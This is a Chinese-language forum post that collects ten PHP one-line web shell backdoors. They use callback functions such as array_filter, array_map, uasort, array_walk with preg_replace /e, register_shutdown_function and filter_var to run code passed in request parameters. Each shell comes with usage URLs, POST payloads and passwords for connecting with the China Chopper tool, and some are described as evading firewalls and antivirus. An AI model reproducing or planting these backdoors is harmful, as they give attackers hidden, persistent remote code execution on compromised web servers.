TA的每日心情 | 怒 2020-3-29 08:03 |
---|
签到天数: 255 天 [LV.8]以坛为家I
|
下面是收集并整理的各种一句话,带使用方法.
第一个:array_filter+base64_decode
<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'],);
array_filter($arr, base64_decode($e));
?>
用法:
http://www.xxx.com/settoken.php?e=YXNzZXJ0
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0
密码:settoken
第二个:array_map+base64_decode
<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'],);
array_map(base64_decode($e), $arr);
?>
用法:
http://www.xxx.com/settoken.php?e=YXNzZXJ0
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0
密码:settoken
第三个:uasort+base64_decode
<?php $e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['settoken']);
uasort($arr, base64_decode($e));
?>
<?php $e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['settoken'] => 2);
uksort($arr, $e);
?>
用法:
http://www.xxx.com/settoken.php?e=YXNzZXJ0
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0
密码:settoken
再给出这两个函数,面向对象的方法:
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
再来两个类似的回调后门:
$e = $_REQUEST['e'];
$arr = array(1);
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用.
php中,可以执行代码的函数:
1: 一个参数:assert
2: 两个参数:assert(php5.4.8+)
3: 三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以我这里构造了一个array_walk+preg_replace的回调后门:
第四个:array_walk+preg_replace
<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'] => '|.*|e',);
array_walk($arr, $e, '');
?>
用法:
http://www.xxx.com/settoken.php?e=preg_replace
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=preg_replace
密码:settoken
这个后门可以在php5.3下使用.
第五个:array_walk_recursive+preg_replace
<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
?>
用法:
http://www.xxx.com/settoken.php?e=preg_replace
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=preg_replace
密码:settoken
看了以上几个回调后门,发现preg_replace确实好用.但显然很多WAF和安全狗 DD盾什么的早就盯上这个函数了.其实php里不止这个函数可以执行eval的功能,还有几个类似的:
第六个:
<?php mb_ereg_replace('.*', $_REQUEST['settoken'], '', 'e'); ?>
第七个:
<?php echo preg_filter('|.*|e', $_REQUEST['settoken'], ''); ?>
第六个 第七个的用法:
http://www.xxx.com/settoken.php?e=assert
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
密码:settoken
推荐这个单参数后门,在各个版本都比较好驾驭. 这里给出几个好用不杀的回调后门
第八个:
<?php $e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['settoken']);
?>
这个是php全版本支持的,且不报不杀稳定执行.
用法:
浏览器GET提交:http://www.xxx.com/settoken.php?e=assert&settoken=phpinfo();
即可执行phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
密码:settoken
第九个:
<?php $e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['settoken']);
?>
用法:
浏览器GET提交:http://www.xxx.com/settoken.php?e=assert&settoken=phpinfo();
即可执行phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
密码:settoken
第十个:
<?php filter_var($_REQUEST['settoken'], FILTER_CALLBACK, array('options' => 'assert')); ?>
用法:
浏览器GET提交:http://www.xxx.com/settoken.php?e=assert&settoken=phpinfo();
即可执行phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=assert
密码:settoken
来源于网络收集,并整理. 好吧,本次就推荐这个10个php一句话,有问题请给我留言. |
|